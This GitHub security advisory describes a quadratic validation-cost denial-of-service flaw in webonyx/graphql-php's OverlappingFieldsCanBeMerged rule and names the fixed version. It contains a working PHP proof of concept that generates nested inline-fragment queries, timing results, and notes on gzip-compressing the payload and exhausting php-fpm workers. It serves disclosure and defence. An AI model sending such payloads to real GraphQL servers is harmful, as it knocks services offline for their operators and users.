GitHub Advisoryadvisory · Packagist
GHSA-fc86-6rv6-2jpm webonyx/graphql-php has quadratic validation cost in OverlappingFieldsCanBeMerged via inline fragments
HIGH
Official page ↗
- Ecosystem
- Packagist
- Packages
- webonyx/graphql-php
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-407
- Reviewed
- 2026-05-04
Affected packages
• Packagist webonyx/graphql-php: < 15.32.2 → fixed in 15.32.2
Description
Summary
`OverlappingFieldsCanBeMerged` validation rule has `O(n^2 x m^2)` worst case via flattened inline fragments. The CVE-2023-26144 named-fragment cache does not cover inline fragments. A 364 KB query (200 outer x 100 inner inline fragments) consumes 117 seconds of CPU per request, with no comparison budget and no validation timeout.
Affected Component
`src/Validator/Rules/OverlappingFieldsCanBeMerged.php`
Description
graphql-php is a PHP port of graphql-js and inherits the same `OverlappingFieldsCanBeMerged` algorithm. The rule performs an explicit `O(n^2)` pairwise comparison loop over fields collected for each response name (`collectConflictsWithin`), and recurses into sub-selections via `findConflict`. When the rule receives a query in which several inline fragments select the same response name at multiple nesting levels, the cost compounds to `O(n^2 x m^2)` where `n` and `m` are the number of inline fragments at the outer and inner levels respectively.
graphql-php includes a `comparedFragmentPairs` PairSet cache (the same class of memoization fix tracked under CVE-2023-26144 / GHSA-9pv7-vfvm-6vr7), but it is keyed by named fragment identity. Inline fragments have no name; they are flattened into the parent `$astAndDefs` map by the `case $selection instanceof InlineFragmentNode` branch starting at `OverlappingFieldsCanBeMerged.php:266`, so they are never observed by the cache. Every pair must be re-compared from scratch on every nesting level.
This finding has been tested against the latest stable release `webonyx/[email protected]` running on PHP 8.3.30.
Root Cause
1. Pairwise `O(n^2)` loop (`collectConflictsWithin`)
```php
// src/Validator/Rules/OverlappingFieldsCanBeMerged.php:306
$fieldsLength = count($fields);
if ($fieldsLength > 1) {
for ($i = 0; $i findConflict(
$context,
$parentFieldsAreMutuallyExclusive,
$responseName,
$fields[$i],
$fields[$j]
);
// ...
}
}
}
```
`count($fields)` grows without bound when multiple inline fragments select the same response name in the same parent selection set.
2. Inline fragment flattening (`internalCollectFieldsAndFragmentNames`)
```php
// src/Validator/Rules/OverlappingFieldsCanBeMerged.php:266
case $selection instanceof InlineFragmentNode:
$typeCondition = $selection->typeCondition;
$inlineFragmentType = $typeCondition === null
? $parentType
: AST::typeFromAST([$context->getSchema(), 'getType'], $typeCondition);
$this->internalCollectFieldsAndFragmentNames(
$context,
$inlineFragmentType,
$selection->selectionSet,
$astAndDefs, // flattened into the parent map
$fragmentNames
);
break;
```
`N` inline fragments selecting the same response name produce `N` entries in `$astAndDefs[$responseName]`, which then trigger `N*(N-1)/2` `findConflict` calls.
3. The named-fragment cache does not cover this code path
```php
// src/Validator/Rules/OverlappingFieldsCanBeMerged.php:41
protected PairSet $comparedFragmentPairs;
// :54 (in __construct)
$this->comparedFragmentPairs = new PairSet();
```
`PairSet` is keyed by `(fragmentName1, fragmentName2)`. Inline fragments have no name; they are folded into the parent selection set before the cache is even consulted. The CVE-2023-26144 fix has zero effect on this code path.
4. No comparison budget, no validation timeout
There is no counter shared across `collectConflictsWithin`, `collectConflictsBetween`, and the recursive `findConflict` calls. The rule runs to completion regardless of cost. graphql-php exposes no `validate_timeout` equivalent.
Proof of Concept
```php
<?php
// composer require webonyx/graphql-php:v15.31.4
require __DIR__.'/vendor/autoload.php';
use GraphQL\Language\Parser;
use GraphQL\Validator\DocumentValidator;
use GraphQL\Utils\BuildSchema;
$schema = BuildSchema::build('type Query { field: Node } type Node { f: Node, g: Node, x: String }');
function gen(int $n, int $m): string {
$inner = implode(' ', array_fill(0, $m, '... on Node { x }'));
$outer = implode(' ', array_fill(0, $n, "... on Node { f { $inner } }"));
return "{ field { $outer } }";
}
echo " N M | size | validate ms | errors\n";
echo "---------|-----------|-------------|--------\n";
foreach ([[20,20],[50,50],[100,50],[100,100],[150,100],[200,100]] as [$n, $m]) {
$q = gen($n, $m);
$doc = Parser::parse($q);
$t0 = microtime(true);
$errors = DocumentValidator::validate($schema, $doc);
$elapsed = round((microtime(true) - $t0) * 1000);
printf("%4d %4d | %7dB | %10d | %d\n", $n, $m, strlen($q), $elapsed, count($errors));
}
```
Measured output on `webonyx/[email protected]`, PHP 8.3.30, Linux x86_64
```
graphql-php version: v15.31.4
PHP version: 8.3.30
N M | size | validate ms | errors
---------|-----------|-------------|--------
20 20 | 7653B | 71 | 0
50 50 | 46113B | 2020 | 0
100 50 | 92213B | 7762 | 0
100 100 | 182213B | 29660 | 0
150 100 | 273313B | 66052 | 0
200 100 | 364413B | 117082 | 0
```
The growth confirms `O(N^2)` outer scaling: doubling N from 100 to 200 (with M=100 fixed) increases validation time from 29,660 ms to 117,082 ms, a factor of approximately 4. A single 364 KB query consumes 117 seconds of CPU on one PHP worker with no errors emitted, no timeout, and no remediation.
Impact
• Default-on rule: `OverlappingFieldsCanBeMerged` is part of the rules registered by `DocumentValidator::defaultRules()` and is enabled by default in `DocumentValidator::validate()`. Every Lighthouse, Overblog/GraphQLBundle, wp-graphql, and Drupal GraphQL module application using the standard validation pipeline is exposed.
• Pre-execution: the cost is in the validation phase. `QueryComplexity` and `QueryDepth` rules cannot help: the example query has depth 3 and complexity 1.
• PHP `max_execution_time` hits the wall too late: a default Lighthouse/Laravel deployment ships with `max_execution_time = 30` seconds. A single 100x100 request takes 29.6 seconds in graphql-php, just inside the limit. A 150x100 request takes 66 seconds and will be killed by `max_execution_time`, but the worker has already burned 30 seconds of CPU per request before being killed; an attacker can sustain that load with low-RPS traffic.
• Body-size and WAF bypass via gzip: the payload is the same string repeated N times. A 364 KB raw payload compresses to a few kilobytes via gzip. Any graphql-php deployment behind nginx, Apache, or a CDN with default body-size handling will accept the compressed request and decompress it before reaching the validator.
• php-fpm worker pool exhaustion: each request consumes one full PHP worker process. A typical php-fpm pool has 5-50 workers; an attacker firing a handful of parallel requests pins the entire pool for the duration of the validation.
• Existing CVE-2023-26144 fix is insufficient: the published `PairSet` cache only memoizes named-fragment comparisons, not the inline-fragment flattening path.
This is the same vulnerability class as CVE-2023-26144 (partially fixed by named-fragment memoization only) and CVE-2023-28867 (fully fixed via the Adameit algorithm). Both fixes pre-date this finding.
Affected Versions
• `webonyx/[email protected]` (latest stable as of 2026-04-08): all measurements above were collected on this version with no custom configuration.
• All versions of `webonyx/graphql-php` that ship `OverlappingFieldsCanBeMerged` (effectively all 15.x and 14.x stable releases). They share the same code path and are believed vulnerable but…
Related
Weakness · CWE (1)
- CWE-407 Inefficient Algorithmic Complexity weakness
References
- https://github.com/webonyx/graphql-php/security/advisories/GHSA-fc86-6rv6-2jpm web
- https://github.com/graphql/graphql-js/issues/2185 web
- https://github.com/sangria-graphql-org/sangria/pull/12 web
- https://github.com/webonyx/graphql-php/commit/996adcfce33442f6fc01214777bc8620cc142d85 web
- https://github.com/advisories/GHSA-9pv7-vfvm-6vr7 advisory
- https://github.com/advisories/GHSA-p4qx-6w5p-4rj2 advisory
- https://github.com/webonyx/graphql-php package
- https://github.com/webonyx/graphql-php/releases/tag/v15.32.2 web
- https://spec.graphql.org/October2021/#sec-Field-Selection-Merging web